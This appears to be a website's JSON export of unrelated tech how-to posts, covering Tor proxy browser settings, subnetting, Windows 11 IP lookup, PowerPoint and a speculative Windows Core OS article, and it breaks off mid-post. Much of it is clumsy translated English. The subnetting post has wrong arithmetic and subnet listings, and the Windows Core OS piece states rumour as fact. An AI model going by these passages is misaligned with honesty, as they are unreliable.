server:\n1. In the upper right corner of Firefox, select the three horizontal lines icon.\n2. Select Preferences.\n3. In the menu on the left, select General.\n4. Scroll to Network Settings and click the Settings button .\n5. In the Connection Settings window , select the Manual proxy configuration checkbox .\nSelect the Manual proxy configuration checkbox 6. In the SOCKS Host field , enter the IP address of the Raspberry Pi.\n7. In the Port section , enter 9050.\n8. Make sure the SOCKS v5 checkbox is selected.\n9. Click OK.\n10. Close and relaunch Firefox!\nGoogle Chrome (and other Chromium-based browsers) Are you using Chrome? To point Google Chrome towards the proxy server:\n1. In the upper right corner of Chrome, select the three dot icon.\n2. Select Settings.\n3. In the menu on the left, navigate to Advanced\u0026gt; System .\nNavigate to Advanced\u0026gt; System 4. Select Open your computer's proxy settings .\nThe next steps will vary, depending on the operating system.\nmacOS\nIf you're a Mac user, Google Chrome will launch the Mac's Network\u0026gt; Proxies menu . In this window:\nSelect SOCKS Proxy. Select SOCKS Proxy In SOCKS Proxy Server , enter the IP address of the Raspberry Pi. In the enclosed text box, enter the port number of 9050. Save the changes by clicking OK\u0026gt; Apply . Close and then relaunch Chrome. Windows\nIf you are using a Windows PC, Google Chrome will launch an Internet Options window . In this window:\nSelect the LAN settings button . Select the following checkbox: Use a proxy server for your LAN . Click on Advanced. In the Socks section , enter the IP address of the Raspberry Pi. In the Port section , enter 9050. Click Save\u0026gt; Apply . Relaunch Google Chrome. Apple Safari If you use the Apple Safari browser, then:\n1. In the Safari toolbar, select Safari\u0026gt; Preferences .\n2. Select the Advanced tab .\n3. Find Proxies and select the Change Settings button .\n4. In the left menu, select SOCKS Proxy .\n5. In SOCKS Proxy Server , enter the IP address of the Raspberry Pi.\n6. In the accompanying text field, enter the port number of 9050.\n7. Save the changes by clicking OK\u0026gt; Apply .\n8. Don't forget to relaunch Safari!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIytpqtloKe8ucWMsKCtoF2nrrS8wZ6pq7FdpbY%3D\n","link":"/post/how-to-set-up-tor-proxy-with-raspberry-pi/","section":"post","tags":null,"title":"How to set up Tor proxy with Raspberry Pi"},{"body":" Apple includes a good degree of control over the spell-check feature of their OS X operating system. Since you can use a keyboard shortcut to let you correct the spelling of a misspelled word, it's a very hassle-free process. Open the...\nPart 1of 2:\nEnabling the Spell-Check Settings  Open the Apple menu. Do this by clicking on the Apple icon at the top-left corner of your screen. A menu should appear, giving you control of some of the essential features of your Mac computer.\n  Click on Spelling and Grammar at the bottom of Find. This will expand the Spelling and Grammar menu.\n  Activate spell-check during typing. Click on 'Check Spelling,' and when it expands, choose 'While Typing' to enable spell-check while you're typing. With this enabled, you will know every time you type a misspelled word; red dots will appear underneath it to notify you.   Make sure 'Check spelling automatically' is checked. This is under Spelling and Grammar on the Apple menu.\n Part 2of 2:\nCorrecting Misspelled Words  Open a text document. The document should support the embedded Spell-Check feature like Apple Mail.\n  Type a misspelled word on the text field to test it out. When the word is dotted with red underneath, press the Spacebar then the left arrow. The Correction menu will appear, allowing you to choose from the spelling suggestions with your arrow keys.\n Replace with the correct word. Hit 'Return' when you have finished selecting a word from the spelling suggestions to replace the misspelled word you entered.\n   Isabella Humphrey Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq0vMSlo2abmJqwrHnOp2SmmZM%3D\n","link":"/post/how-to-use-spell-check-on-mac/","section":"post","tags":null,"title":"How to Use Spell Check on Mac"},{"body":"SQL Server currently has many different versions. Below is a list of versions with features of each version.\nEnterprise - the most advanced version with full functionality. Standard - less features than Enterprise, use when you don't need to use advanced features. Workgroup - suitable for large companies with many remote offices. Web - designed specifically for web applications. Developer - similar to Enterprise but only grant a single user to develop, test, demo. You can easily upgrade to the Enterprise edition without reinstalling. \nExpress - this version is only used at a simple level, up to 1 CPU and 1GB of memory, the maximum size of the database is 10GB. Compact - free embedded into web application development environments. The maximum size of the database is 4GB. Datacenter - big change on SQL Server 2008 R2 is the Datacenter Edition version. No memory limit and support for more than 25 installations. Business Intelligence - Business Intelligence Edition was just introduced on SQL Server 2012. This version has the features of the Standard version and supports some advanced features of BI like Power View and PowerPivot but does not support advanced features. about availability as AlwaysOn Availability Groups . Enterprise Evaluation - The SQL Server Evaluation Edition is a great choice to use all features and get a free installation of SQL Server for learning and development. This version has an expiration time of 6 months from the date of installation. Previous article: What is MS SQL Server?\nNext lesson: Instructions on how to install MS SQL Server\nncG1vNJzZmismaXArq3KnmWcp51kurR50qqjZquVp8OmvoyvnKurmaS7tA%3D%3D\n","link":"/post/ms-sql-server-versions/","section":"post","tags":null,"title":"MS SQL Server versions"},{"body":"Split subnet is one of the useful solutions to build local network, both secure and broadcast, and save resources in allocating IP address for each workstation. 1. Planning IP address\nYou need to build an intranet (LAN) for an office, a small and medium-sized company with about 7 to 8 rooms, each with 30 machines. The problem is how to be effective, secure the network system, prevent possible risks, but also can save network resources.\n  A LAN model.\nOne of the effective construction methods is planning IP addresses by dividing subnet . With this option, you will only provide a sufficient number of IP addresses for computers to use, split into multiple subnets, prevent broadcast events and if there is a problem, only locally subnet branch. An IP address consists of 4 octets, each octet is 1 byte containing 8 bits, a total of 32 bits. The IP address will be identified in class A, B or C through the subnet mask address. With the above problem, we will use the C class. You need 30 machines, we see 25 = 32, minus 2 first and last addresses are network addresses and broadcast addresses of the network branch, you will be left 30 addresses. Thus, 1 octave has 8 bits, we will take 28 - 23 = 25, meaning you will borrow 3 more bits to divide the subnet for your network. How to divide by a procedure is as follows:\nClass C has a subnet mask of 255.255.255.0 or even written as / 24. An 8-bit octet, you borrow 3 bits, the number of borrowed bits will turn up to 1, the remaining number of bits will remain at 0.\n128 64 32 16 8 4 2 1 1 1 1 0 0 0 0 0\nYou get 3 bits of value 1 combined: 128 + 64 + 32 = 224. Similarly, if you borrow 4 bits, the subnet mask will be 240. From there, to make it easy to remember, people on the network set a table to look up.\n1 128 -128 2 192 -64 3 224 -32 4 240 -16 5 248 +8 6 252 +4 7 254 +2 8 255 +1 You only need to remember the value in the 4th bit to borrow will have the corresponding subnet mask value of 240, from which you add and subtract as above table to find the subnet mask of the other bits.\nReturning to the above problem, using the C network layer and borrowing an additional 3 bits (24 + 3 = 27), you will have a 255.255.255.224 subnet mask, and each subnet branch will be divided accordingly as follows:\n0. 192.168.1.0/27 1: 192.168.1.32/27 2: 192.168.1.64/27 3: 192.168.1.96/27 4: 192.168.1.128/27 5: 192.168.1.160/27 6: 192.168.1.192/27 7: 192.168.1.224/27 8: 192.168.1.254/27 Here, you should note in the 8th order number, value 224 + 32 = 256, but because C class has only 254 IP addresses, address 255 is broadcast address, so the network here is 192.168.1.254 , and room 8 you can set the IP address from 192.168.1.225/27 - 192.168.1.253/27 . Similarly, you set room number 1 to the IP address range: 192.168.1.1/27 - 192.168.1.30/2 7, which can use the address 192.168.1.1 as the default address for this room number 1. 2. Application of network system construction\nYou have completed the subnet split, and will now apply to the local network. Now the rooms are a sub-branch, completely separate. You cannot sit in room number 1 to transfer data, access or use ICMP protocol as ping command to another machine in room 2.\nIn order for the rooms to connect to the internet, you need to have a computer as a router function. This router will help machines in each local network connect to the ADSL modem and access the internet. If you use a Cisco device like Router 2800, subnet sharing in the router is called Inter Vlan technique.\nDepending on the security policy of the company or agency, you can build more firewalls, access lists and mechanisms Nat inside or outside to access the workstations outside the internet, outside the remote internet in. intranet.\nncG1vNJzZmismaXArq3KnmWcp51kwKbAjK6nZqyYmnqtrc1mmbJllJ7DqrDIp55mrJiaerTBwaecrQ%3D%3D\n","link":"/post/set-up-the-lan-by-dividing-the-subnet/","section":"post","tags":null,"title":"Set up the LAN by dividing the subnet"},{"body":"PowerPoint is a presentation-only program that allows you to create dynamic slide presentations. These presentations may include animations, images, videos and more. In this lesson, you'll learn how you work in a PowerPoint environment, with tools including Ribbon, Quick Access Toolbar, and Backstage view.\nStart with PowerPoint 2016 Learn PowerPoint 2016 PowerPoint interface  Work with the PowerPoint environment\nRibbon Show and hide Ribbon Use the Tell me feature Quick Access Toolbar Ruler, guides and gridlines Zoom and other view options Convert slide view Zoom in and zoom out Backstage view mode  Practice! Learn PowerPoint 2016 PowerPoint 2016 is similar to PowerPoint 2013 and PowerPoint 2010. If you have used these versions before, you will feel that PowerPoint 2016 is familiar. But if you are new to PowerPoint or have more experience with older versions, you should first take some time to familiarize yourself with the interface of PowerPoint 2016.\nPowerPoint interface When you open PowerPoint for the first time, the Start Screen screen will appear. From here, you can create new presentations, select templates and access your recently edited presentations. From this Start Screen screen , locate and select Blank Presentation to access the PowerPoint interface.\n  Click on the buttons in the screen below to familiarize yourself with the PowerPoint interface.\n  Work with the PowerPoint environment The Ribbon and Quick Access Toolbar are where you will find commands to perform common tasks in PowerPoint. Backstage view gives you different options to save, open files, print and share your documents.\nRibbon PowerPoint uses the Ribbon-based system instead of traditional menus. Ribbon contains many tabs, each tab has many groups of commands. For example, the Font group on the Home tab contains commands to format the text in your document.\n  Some groups also have small arrows in the bottom right corner, where you can click to get more options.\n  Show and hide Ribbon The ribbon is designed to meet your current task, but you can minimize it if you find that it takes up too much screen space. Click the Ribbon Display Options arrow in the upper right corner of the Ribbon to display the drop-down menu.\n  Auto-hide Ribbon: The Auto-hide option displays your workbook in full screen mode and completely hides the Ribbon. To display the Ribbon, click the Expand Ribbon command at the top of the screen. Show Tabs: This option hides all groups of commands when they are not used, but the tabs will still show. To display the Ribbon, just click on a tab is okay. Show Tabs and Commands : This option enlarges the entire Ribbon. All tabs and commands will be displayed. This option is selected by default when you open PowerPoint for the first time. Use the Tell me feature If you have trouble finding the command you want, the Tell Me feature can help you. It works just like the regular search bar: Enter the content you are looking for and the options list will appear. You can then use the command directly from the menu without having to find the command on the Ribbon.\n  Quick Access Toolbar Located just above the Ribbon, the Quick Access Toolbar allows you to access common commands regardless of which tab is selected. By default, it includes Save, Undo, Redo and Start From Beginning commands . You can add other commands depending on your preferences.\nHow to add commands to the Quick Access Toolbar:\n1. Click the drop-down arrow to the right of the Quick Access Toolbar.\n  2. Select the command you want to add from the drop-down menu. To select more commands, select More Commands.\n  \n3. This command will be added to the Quick Access Toolbar.\n  Ruler, guides and gridlines PowerPoint includes a number of tools to organize and organize the content of your presentations, including Ruler, Guides and Gridlines. These tools make it easier to align objects in a presentation. Just click the checkboxes in the Show group on the View tab to display and hide these tools.\n  Zoom and other view options PowerPoint has a variety of viewing options, changing the way your presentation is displayed. You can choose to view your presentation in Normal view, Slide Sorter view, Reading view , or Slide Show view . You can also zoom in and out to make your presentation easier to read.\nConvert slide view Switching between different slide views is easy. Just locate and select the desired slide view command in the bottom right corner of the PowerPoint window.\n  Zoom in and zoom out To zoom in or out, click and drag the zoom control slider in the bottom right corner of the PowerPoint window. You can also choose + or - commands to zoom in or out. The number next to the slider displays the current zoom ratio, also known as the zoom level.\n  Backstage view mode Backstage view gives you different options to save, open, print and share your presentation. To access the Backstage view, click the File tab on the Ribbon.\n  \nClick the buttons in the interaction below to learn more about how to use the Backstage view.\n  Practice! 1. Open PowerPoint 2016 and create a blank presentation.\n2. Change Ribbon Display Options to Show Tabs.\n3. Click the drop-down arrow next to Quick Access Toolbar and add New, Quick Print and Spelling commands .\n4. In the Tell me bar , enter Shape and press Enter.\n5. Select a shape from the menu and double-click somewhere on your slide.\n6. Display the Ruler tool if it is not already displayed.\n7. Enlarge the presentation to 120% size.\n8. When you're done, your presentation will look like this:\n  9. Change Ribbon Display Options back to Show Tabs and Commands mode.\nSee more:\nSummary of useful shortcuts in PowerPoint Create beautiful slides for PowerPoint presentations with 8 tips Presentation tips with Powerpoint ncG1vNJzZmismaXArq3KnmWcp51kwLWt0a1ksKGknXqxu9aeqamnmaPBbn6Pam0%3D\n","link":"/post/start-with-powerpoint-2016/","section":"post","tags":null,"title":"Start with PowerPoint 2016"},{"body":"Checking the IP address on a Windows 11 computer will give you more information about the network connection in use. In particular, when you know the IP address, you can share data in the LAN, connect gaming computers, etc.\n  1. Check LAN IP Address (Local IP) When using a computer connected to the Internet, the data in the same local LAN system will transfer data through the IP address. Based on the IP address, you will easily know which computer is sending data to and receiving data.\nMethod 1: Check LAN IP address on Windows 11 with Command Prompt Command Prompt is a popular scripting program on Windows and they can meet all needs when using Windows computers.\nStep 1: Open the Start Menu, enter Cmd and select Run as administrator to open Command Prompt with Admin rights.\n  Step 2: Then you just need to enter the command below and press Enter to search for the IP address.\nipconfig In the list of displayed data, the IP address of the Windows 11 computer will be in the Ipv4 Address line.\n  Method 2: Check LAN IP address on Windows 11 by looking in network settings The IP address on the computer is provided in the network connection settings table, you can use them to check various information on the computer.\nStep 1: Right-click the Internet icon on your computer and select Open Network \u0026amp; Internet Settings to open settings.\n  Step 2: Then, select Change adapter options to view the connected network settings.\n  Step 3: In the list of connected networks, double-click Ethernet to open it.\n  Step 4: When you want to check more parameters of the network connection, you just need to select Details…\n  Step 5: Similar to other ways to view IP addresses, the IP address on Windows 11 will appear in the Ipv4 Address section.\n  Method 3: Check LAN IP address on Windows 11 with Settings Settings on Windows 11 provides many settings related to the Windows computer system as well as other basic features of the system.\nStep 1: Press Windows + I key combination to open Settings on your computer and select Network \u0026amp; Internet.\nThen, select the Properties item to view information about the network connection.\n  Step 2: The IP address on the Windows computer will be displayed in the Ipv4 Address section.\n  Method 4: Check LAN IP address on Windows 11 with Windows PowerShell\nWindows PowerShell is known as the modern and future scripting program that will replace the Command Prompt. Here's how to check the IP address on Windows 11 via PowerShell.\nStep 1: Open the Start Menu, enter Windows PowerShell and select Run as administrator to open it as Admin.\n  Step 2: Then, enter the command below into the system to check.\nipconfig Similar to other commands, you will see your IP address in the IPv4 Address field. In addition, you can also use some of the following commands to view more information.\nGet-NetIPAddress -AddressFamily IPv4 | ft -AutoSize Get-NetIPAddress -AddressFamily IPv6 | ft -AutoSize   Method 5: Check LAN IP address on Windows 11 with Modem In addition to the above ways, you can also easily check the LAN IP address on your computer through the network Modem in use. However, this method will require you to have high access because you must have an account of the Network Modem.\nStep 1: Go to the modem's address and log in with the provided account. Normally, the address to access the Modem will be 192.168.1.1 or 192.168.1.2.\nIn case the above 2 addresses cannot access the Modem, please check the login address at the modem's stamp.\nStep 2: Upon successful login, you will see the computer's WAN IP address in the status section.\n  2. Check the WAN IP address (Internet connection IP) Unlike the LAN IP address, the WAN IP address will appear when you connect to the Website (also known as the web browsing IP address). This IP address will be the public IP address when you connect to the Internet.\nMethod 1: Check WAN IP address on Windows 11 with Modem Step 1: Go to the modem's address and log in with the provided account. Normally, the address to access the Modem will be 192.168.1.1 or 192.168.1.2.\nIn case the above 2 addresses cannot access the Modem, please check the login address at the modem's stamp.\nStep 2: Upon successful login, you will see the computer's WAN IP address in the status section. Each Modem will have a different interface and please check each item for details.\n  Method 2: Check WAN IP address on Windows 11 with Website There are many different Website platforms that provide the service of monitoring the IP address in use when connecting to the Internet. You can also use them to get more information about the IP address in use. Below is a list of Web sites that offer common IP address checking.\nWhatismyIP Home page here.\n  Whatismyipaddress Home page here.\n  NordVPN Home page here.\n  In this article, Tipsmake showed you how to check the IP address on your Windows 11 computer. Have a nice day!\nWindows 11 ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddq7amw4ynnK2vn6e4brXPZpidnKKawLR5zqdksKGemby4v4xqaA%3D%3D\n","link":"/post/steps-to-view-network-ip-address-on-windows-11/","section":"post","tags":null,"title":"Steps to view network IP address on Windows 11"},{"body":" teclast a10 | TipsMake.com    just spend an amount equal to 1/3 of high-end tablet models, users can own a tablet with a large 10-inch screen with a good configuration.   ncG1vNJzZmismaXArq3KnmWcp51kwaKz0mirnpuclsC1ecBqZ2egpKK5\n","link":"/post/teclast-a10-tipsmake-com/","section":"post","tags":null,"title":"teclast a10 | TipsMake.com"},{"body":"Recording the content to do, remember now is now simpler when you can record right on the smartphone. There are a lot of note-taking apps on Android or iOS that let us turn our phones into recording all data, like a computer or a notebook. Among them is the Secure Notes application - Note pad on Android.\nIn addition to basic notes like other note-taking applications, Secure Notes - Note pad also has the ability to protect notes with passwords or drawings you design. The application will proceed to synchronize the notes content through InnoBox Sync account, and you can log in notes at any device. The following article of Network Administrator will guide you how to write notes on Secure Notes - Note pad Android.\nStep 1:\nClick the link below to download the Secure Notes - Note pad application for Android devices.\nDownload the Secure Notes application - Note pad Step 2:\nIn the first interface of the application you will be asked to enter a password to protect the note . Enter the password and then click Save . Then, log in with the password you just created and click Login .\n   Step 3:\nNext to the user enter the email address in the Recovery Email interface to retrieve the password to open the note or PIN if forgotten. Below will be the Gmail address list suggested that we have logged in on the device. You can enter a new address or click on the address used. Click Done in the right corner of the interface to save.\nSoon, you will be transferred to the notes creation interface on Secure Notes - Note pad.\n  1. Create a note on Secure Notes - Note pad: Step 1:\nAll Notes screen is the place to manage all notes created on the device. Click on the pen image to start writing notes. After that, the application will give 2 suggestions for importing notes including Todo (list note) and Note (text format).\n   Step 2\nWhen clicking Todo , first enter a title for the note at the Title bar . Then enter the notes below. Because the interface notes in the form of a list, the contents of each note will have the box shown below. This type of note will match the types of lists listed.\n   Step 3:\nOnce entered, click Add Tag to assign the available theme tag that the application provides. Or you can click Add New . to create a new tag.\n   Enter the card name in the Enter Tag box and click OK . You will see the card name at the bottom of the screen. Click on the star image to highlight the important note to note. Finally press the v mark to save the note.\nNew notes will appear in the All Notes view.\n    In the case of pressing Note to create a note with the usual text format, the same way.\nEnter the title of the note at Title and enter the text below. Also tag the note and press the v mark to save the note.\n   Step 4:\nTo delete the note created on Secure Notes - Note pad, in the All Note interface, swipe the note line from right to left , then click the trash can icon . Confirm to delete the note, click Yes in the Confirm dialog box.\nAlternatively, click the Share icon and select the application you want to share the note with.\n    Step 5:\nTo check your starred notes , swipe from the left side of the screen to bring up the menu menu and select Important . A list of notes to note will appear.\n   Also when clicking Manage Tags , you can manage the created Tag tags.\nHere, if you want to add a Tag tag click the plus symbol . To customize certain Tag tags , click and hold on the tag and then choose to edit the Tag name with the Aa icon or delete the Tag tag with the trash icon.\n   2. Backup notes on Secure Notes - Note pad: The application supports users to sync notes between multiple devices.\nStep 1:\nSwipe from the left side of the screen to bring up the menu, then select InnoBox Sync . Next, users click on Create an account to create an account with Email address, PIN code.\nAfter that the synchronization process will take place. To open a note in another application simply log in to InnoBox Sync with your personal account. However, when the note is deleted on the device, the backup on the service is also deleted.\n    Step 2:\nTo backup notes , click Settings in the menu and select Backup Notes .\n   Step 3:\nEnter the new password to protect the note. This password will be different from the password to access the Secure Notes application - Note pad. Notes will be backed up in the SecureNotePlusBackup folder of device memory as a zip file.\n   To restore the note press Restor Notes in the Settings list, then select the saved version to restore and select Restore Notes .\n   3. Set up Secure Notes application - Note pad: Step 1:\nIn the Settings interface , users can conduct some settings for the application. For example, change the Font size . The default font size in use is 18.\n   Step 2:\nGoing to the Tools section will be the place to change security. To use the application security image instead of the password click Pattern Lock . Click Enable to activate and then draw the lock pattern.\n    Step 3:\nTo change the recovery email address when you forget your password, click on select Email Recovery . Then you enter a new recovery email and click Done to save it.\nIn addition, we also have the option to change the password (Change Password) and change the pattern (Change Pattern).\n   Step 4:\nNow when we exit the application and access it again, you will be asked to enter the password . If you forget your password, press Forget password and click Yes to reset the application password.\n   Above is the detailed usage of the Secure Notes - Note pad note application on Android. We can choose many types of notes with the application, especially the ability to protect notes with passwords or drawings. The app will sync notes with InnoBox Sync account.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kwrStxp5kp6ekmsBurc%2Bpo6Kbkam2sLqMrJycraKaeq%2B7056qZqafqbJuvMCdZJqmlKe8qrA%3D\n","link":"/post/usage-notes-application-secure-notes/","section":"post","tags":null,"title":"Usage notes application Secure Notes"},{"body":"Have you ever thought about a Windows operating system that can be integrated on all devices, from Windows desktops to the Xbox One? The convenience here is probably something that should not be discussed, and that is the core idea that Windows Core aims for.\nAlthough Microsoft has not officially launched this interesting operating system, rumors and information on the sidelines have overwhelmed many large technology forums, along with the community's expectations of a system. It has the potential to change the way the world of smart devices work, as well as its far-reaching impact in many areas of life.\nAll about Satya Nadella - the architect of the Microsoft empire in the new era   Windows Phone is a bitter failure of Microsoft\nSo what is Windows Core? How does it work? How to bring benefits? We will find out later.\nLearn about Windows Core OS What exactly is Windows Core OS? Why must Microsoft develop Windows Core OS? The current Windows operating system is gradually becoming outdated Be compatible / meet the requirements of future devices Problems with Android  What to expect on Windows Core OS The emergence of more frameworks than a normal operating system Modular approach Support for universal Windows platform  summary What exactly is Windows Core OS? According to an authenticated post on LinkedIn, Windows Core OS, or WCOS for short, is a shared operating system (which can be shared) on all future Windows devices. This post also explains that Windows Core OS is a completely new operating system, developed independently by Microsoft's OneCore team.\nAccording to a more detailed explanation of technology commentator Zac Bowden, Windows Core OS can be considered a modern version of the traditional Windows operating system, which aims to turn Windows into a versatile platform and Universal for all smart devices worldwide. The expert believes that the first version of Windows Core OS will be released first for mobile devices, while the next version will be for desktop and Xbox devices.\nFrom all of these reliable sources, it can be affirmed that Windows Core OS is a new Microsoft operating system, designed to work well on all devices, regardless of any difficult barriers. Bear as hardware compatibility and individual configuration.\nMicrosoft releases a new Windows 10 update, Microsoft Edge will be hidden if you install Edge Chromium Why must Microsoft develop Windows Core OS? After understanding the basics of Windows Core OS, you may wonder why Microsoft is trying to build a new, cross-platform operating system? In fact, the current Windows operating system is still relatively stable, has been operating well for a long time and is trusted by billions of people around the world. So why does Microsoft risk investing money and human resources in a risky new project? Here are a few reasons why a new operating system like Windows Core OS is particularly significant in Microsoft's overall development strategy:\nThe current Windows operating system is gradually becoming outdated    Windows is slowly catching up with the pace of hardware development\nWindows operating system has been released and exists for more than 30 years. It can be considered a symbolic product, a monument in the technology world. Windows developed in parallel with the advancements of the technology-computing world and always received great support from the community.\nHowever, although Microsoft has tried to add more important features and utilities to make Windows more relevant to today's technology, we still can't deny the fact that this operating system has old and will become less flexible in the future. This is a huge disadvantage as today's technology products are still flexible and multi-platform.\nAnd above all, as expected, the basic support plan for Windows 10 ends in 2020, while the extended support mode will end in 2025. So, Microsoft needs a new product. , quality to replace this operating system.\nInstead of adding more functions to the same operating system to create even better versions - a common practice adopted by many developers today, Microsoft has 'boldly' gone towards creating one. The new operating system is scalable and flexible enough to meet most future development needs.\nApple, Google, Microsoft, Facebook and Twitter will join a large-scale shared data project Be compatible / meet the requirements of future devices    Windows Core OS offers a wide range of interoperability across multiple products\nThe technology sector is currently witnessing miraculous developments, especially in the hardware aspect. New, more powerful devices, which incorporate more modern technology, are introduced to the market every day, every hour. A 'class' device you buy today can become an 'antique' after a few months, this is a rare case in today's technology world.\nWhether it is in the field of wearable, portable, or smart home appliances . all need a stable, modern operating system for long-term operation. That is the main reason why Microsoft decided to develop Windows Core OS.\nAccording to many reputable technology experts, in the next few years, smartphones will officially surpass desktop computers as well as laptops, becoming the main computing device, serving daily needs for all people. In the future, when you bring your smartphone, it not only acts as a phone to communicate, but can also turn into a workstation when you connect to peripheral devices and access the internet. broadband. In order to support such powerful smartphones, you are required to have a modern, powerful operating system, and above all, have excellent compatibility with an amount of variety of different devices.\nAnother reason is also important, Microsoft is seeking to penetrate this new market, and of course pioneers always have more advantages. With a company that possesses strong financial and human resources like Microsoft, the opportunity for them to lead the market is completely open. After all, to realize this ambition, Microsoft needs to create a universal platform, which will be at the core of any device.\nThe advantage with such a core operating system is that it helps modern devices to operate more efficiently, simply because the operating system is not entangled by tons of complex components. In addition, the ability to communicate between devices will also tend to be significantly improved.\nAppeared to design Microsoft's new Action Center, the corners are more elegant and modern Problems with Android    Windows Core OS was released with the ambition to end Android's dominance\nBesides the technology perspective, another reason urges Microsoft to develop 'with' Windows Core OS is to counter the dominance of the Android operating system in the smartphone market in particular and mobile devices in general. The current. Microsoft's plan with Windows mobile did not bring them success as expected, but a bitter defeat. Therefore, Windows Core OS may be an opportunity for Microsoft to \"start over\", and if they do well on this project, surprises can happen.\nFormer Nokia engineer explained the cause of Windows Phone's failure What to expect on Windows Core OS As a normal user, what can we expect from this new operating system?\nThe emergence of more frameworks than a normal operating system    Windows Core OS is not really an end-user operating system\nWindows Core OS will essentially be an open source operating system, similar to the Android open source project (AOSP). This means that there will be absolutely no occurrence of binary blocks or proprietary software, but instead, everything will be open source.\nAs such, it is understandable that Windows Core OS is not really an end-user operating system. It is designed to be more geared towards device manufacturers and developers, who can build a customized Windows operating system based on the framework of Windows Core, and it is this operating system that is directly interactive. continue with the end user.\nThe obvious advantage here is that the Windows version developed by the encryption experts will be further refined to meet the exact specifications of each specific device (providing optimal compatibility). most with hardware). Also ensuring acceptable compatibility with other devices also runs on the Windows Core OS platform.\nWindows Defender was officially renamed Microsoft Defender Modular approach As mentioned, Windows Core OS is a platform, and you can add as many utility modules as you want. For example, if you need a GUI, add it as a module or if you need support for any particular native application, you can add it as well. appropriate module. Such a modular approach provides great flexibility and flexibility for developers in selecting and adding the features / functions they want to appear on their products. .\nSupport for universal Windows platform    Windows Core OS will give UWP a big boost\nUniversal Windows Platform - Universal Windows Platform, or UWP for short, allows developers to build applications for different Windows platforms such as mobile, desktop, Xbox, etc. In other words, you just need to develop an application that works on all devices running Windows without having to customize or rewrite the code for each device. Needless to say, UWP helps developers save a lot of time and effort, while their products still ensure stable operation on many different platforms.\nIt can be said that the launch of Windows Core will give UWP a big boost, because the platform can be used more widely on future devices. There is also another belief in the developer community that Windows Core OS will also support Win32 applications.\nIn short, Microsoft Core Windows Core will be a remarkable new generation operating system. It is expected to provide more flexibility in application development, improve the time to build end-user utilities, and provide a better experience while maintaining the familiar interface. belonging to the brand of traditional Windows operating system.\nFrom these points of view, it can be confirmed that Windows Core will be an operating system for the future. But will it succeed as expected or will it only bring disappointment like Windows Phone? It is difficult to make a judgment about success or failure at the present time, all will have to wait on the specific strategy of Microsoft.\nUp to now, Microsoft has not released any official statement on this issue, and we have not had any credible information about when to release Windows Core OS. Besides, the departure of Windows development manager Terry Myerson last year also posed a big question about the future of this operating system.\nChoose which antivirus software to install on Windows 10 / 8.1 / 7 and this is Microsoft's recommendation summary We have recently reviewed some interesting information about Windows Core, which is generally quite long, so what are the main ideas? Very simple:\nWindows Core OS is a universal base for Windows products. Windows Core OS allows Microsoft to build new Windows versions for all types of devices quickly and efficiently. Windows Core OS supports the ability to share components and features without difficulty in compatibility. Windows Core OS supports faster update capabilities. Windows Core OS is the future of Windows on new and unique devices. Do not replace the entire Windows 10 experience. Although Windows Core may not be able to create immediate impact, after 10 or 15 years, everything will be different. By then, Windows Core OS could be the main platform for Windows, because it was born and developed for that purpose.\nMicrosoft will officially stop supporting Windows Phone, and check your device deadline   Windows Core OS can be the primary platform, even replacing Windows\nHopefully, this operating system will soon be released and blow a new wind for the Windows community in particular and the technology world in general to enter a new era - the period of devices are seamlessly connected. , smooth and without any barriers called 'compatible'.\nWhat do you think about Windows Core OS? Please leave a comment below!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWnnrulu9asZJynopp6qr%2BMoqtmrJiaeqfB066pnmWfm3q4tc2dprCrXaS9pr7AraCnn12oxrTAxKY%3D\n","link":"/post/what-is-windows-core-is-it-the-future-of-windows-operating-system/","section":"post","tags":null,"title":"What is Windows Core? Is it the future of Windows operating system?"},{"body":"Without the need for professional photo editing, users do not need to install Adobe's software but can choose from dozens of programs introduced on the Internet.\n  Pixlr.com is a new face in the field of online photos but has attracted many users and is rated as \"Photoshop in the browser\". Users can open the image by pasting the url directly into the editor.\n  Picnik.com is currently the most popular \"photo editor\" on the web thanks to its beautiful interface and feels like using a desktop application. It also allows dragging photos directly from sites like Flickr, Picasa, Facebook, Photobucket .\n  Photoshop users will feel familiar when visiting Splashup.com, or Fauxto. They can open multiple photo layers at the same time as on Gimp and Adobe's program, even import photos from webcam.\n  Snipshot.com is a photo editor supported by AJAX technology combination, works both on computers without flash software and helps save images in various formats like JPG, PNG, TIF, BMP, PDF and Photoshop PSD .\n  Pixenate.com (PXN8) is a simple yet effective application with an intuitive interface that displays every feature it has on the screen for easier editing.\n  Spotlight makes Picture2life.com stand out as a guide panel instead of dry tool menus like other programs and features like darkening, color, contrast .\n  LunaPic.com allows you to convert images to GIF file format - something other online software does not have.\n  Aviary.com is considered a true rival of Photoshop even though it works on the browser thanks to the features and effects enough to satisfy users.\n  FotoFlexer.com is also a tool that fully converts the functions needed for editing.\n  Adobe Photoshop Express (photoshop.com/express) is an online version of Photoshop, offering users 2 GB of storage and the ability to create / share photo albums with friends.\n(Screenshots)\nncG1vNJzZmismaXArq3KnmWcp51kfnF5zqejoqaVYr2pu9OoZJ6cmam2r7OMraaopKNixKrAx6isrWWgnby1u9Khpqk%3D\n","link":"/post/10-online-photo-editing-tools-without-photoshop/","section":"post","tags":null,"title":"10 online photo editing tools without Photoshop"},{"body":"In the recent race, a record pitstop phase was set up for only 1.89 seconds by the British F1 racing team. Let's find out, why workers can serve cars so fast?\nIn each race, we often only care about the drivers and the cars they control. But to be able to participate in the race and win, each fleet cannot lack pitstop.\nThe total length of the race is about 300km, each race car will need at least one stop at the maintenance site (pitstop) to change tires and modify the car. As soon as the driver pulled into the pitstop area, about a dozen workers rushed out, lifted the car, replaced all four wheels, wiped the glass, lowered it, and the car launched and continued the fierce race. The whole process usually takes less than 10 seconds.\nIn order to do that, workers need absolute precision, coordinating effortlessly to do the job in the shortest time possible because the slow time of a millisecond can also decide to win both. fleet.\n  With the Nascar track, a team of up to 6 people needs 11 to 13 seconds to replace four tires for a pitstop. Even with long races like Le Mans 24 Now the pitstop takes longer but never takes a minute.\nIn the European Grand Prix race in Baku, Azerbaijan took place last June, the British F1 team Williams set a new record when making a pitstop phase at a glance, costing only 1.89 seconds. The previously set record break was 1.92 seconds of Red Bull racing team at US Grand Prix, Texas in 2013.\nVideo: Stopping the car for less than 2 seconds at Williams' Formula 1 track.\nSo, what happened to the pitstop with the cars?\nFor F1 